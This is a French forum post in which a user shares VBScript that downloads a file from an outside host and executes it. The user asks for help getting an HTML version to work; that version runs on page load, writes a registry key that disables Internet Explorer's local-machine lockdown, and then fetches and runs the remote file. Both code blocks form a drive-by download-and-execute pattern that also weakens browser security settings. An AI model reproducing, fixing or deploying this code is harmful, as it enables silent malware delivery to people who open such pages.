Salut tout le monde Je poste ce VBScript qui fonctionne pour moi parfaitement quand je le lance comme un fichier VBS.
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Dim strFileURL,strHDLocation
' Mes paramètres 
    strFileURL = "http://hackoo.ifrance.com/Merlin.jpg"
    strHDLocation = "c:\Merlin.jpg"
' Récupérer le fichier
    Set Ws = CreateObject("WScript.Shell")
    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    objXMLHTTP.open "GET", strFileURL, false
    objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0    'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing 
Ws.Run strHDLocation
Set WS = Nothing
Par contre mon problème,c'est comment puis-je faire cela fonctionner dans le fichier HTML? parce qu'il ne fonctionne pas pour moi, je ne sais pas pourquoi? quelqu'un pourrait me dire ici ce qui ne va pas dans le fichier HTML
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<html>
 <head>
 <script language=vbscript>
 
 Sub Window_Onload
 Call Download_Me()
 End Sub
 
 Sub Download_Me()
 Dim strFileURL,strHDLocation,LockDown,Keysec1,itemtype
 
'Autoriser le contenu actif à s'exécuter dans les fichiers de la zone Ordinateur local et l'exécution des scripts.
LockDown="HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN\"
Keysec1=LockDown & "iexplore.exe"
itemtype = "REG_DWORD"
    strFileURL = "http://hackoo.ifrance.com/Merlin.jpg"
    strHDLocation = "c:\Merlin.jpg"
    Set Ws = CreateObject("WScript.Shell")
	Ws.RegWrite Keysec1,0,itemtype 'la valeur 0 pour Autoriser l'exécution des scripts.
                                  'la valeur 1 pour Bloquer l'exécution des scripts.
    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    objXMLHTTP.open "GET", strFileURL, false
    objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 2 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0    'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing 
Ws.Run strHDLocation
Set WS = Nothing
 End Sub
 </script>
 </head>
 <body>
 <br>
 <input type=button value="Click to Run" name="Download_Me" onclick="Download_Me()">
 </body>
 </html>